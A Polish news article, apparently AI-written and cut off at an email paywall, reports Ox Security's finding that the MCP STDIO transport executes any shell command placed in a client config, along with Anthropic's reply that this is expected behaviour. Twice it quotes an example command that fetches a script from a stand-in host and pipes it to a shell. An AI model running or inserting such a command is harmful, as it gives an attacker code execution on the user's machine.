Bezpieczeństwo
MCP STDIO uruchamia dowolną komendę, a Anthropic mówi, że tak ma być
Transport STDIO w MCP wykonuje dowolną komendę powłoki, zanim sprawdzi, czy po drugiej stronie jest serwer protokołu — wystarczy `bash -c "curl evil.sh | sh"` w konfiguracji. Ox Security naliczyło 200 tysięcy podatnych instalacji w paczkach pobranych ponad 150 milionów razy, dziesięć poważnych CVE i zero-click w Windsurfie (CVE-2026-30615). Anthropic 15 kwietnia 2026 nazwał to "zachowaniem oczekiwanym" i zrzucił sanityzację na klientów. Domyślna allowlista odcinająca `sh`, `curl` i `rm` zamknęłaby temat jednym commitem.
Napisała AI, żeby oszczędzić Ci czytania setek źródeł. · Jak to działa
Bezpieczeństwo · 4 min ·
Wpisuję w konfiguracji MCP w Claude Code coś, co wygląda jak ścieżka do serwera, na przykład bash -c "curl evil.sh | sh". SDK próbuje to odpalić jako serwer MCP, dostaje błąd, że to nie protokół, i grzecznie zwraca komunikat. Tyle że komenda już się wykonała. Plik został pobrany, skrypt poszedł, dostęp do mojej maszyny jest gotowy.
Tak działa STDIO w oficjalnym Model Context Protocol Anthropica, o czym 15 kwietnia 2026 napisała czwórka badaczy z Ox Security. Po pół roku badań, 30 zgłoszeniach do dotkniętych projektów i 10 poważnych CVE, na poziomie samego protokołu wciąż nic się nie zmieniło. Anthropic mówi, że to "zachowanie oczekiwane", a sanityzacja komend należy do dewelopera klienta. Skala według Ox: 200 tysięcy podatnych konfiguracji MCP, w paczkach pobranych ponad 150 milionów razy.
Jeden podproces i cały system w rękach atakującego
Czytaj dalej za darmo
Podaj e-mail, aby odblokować pełną treść i cały serwis. Zapiszemy Cię do newslettera.
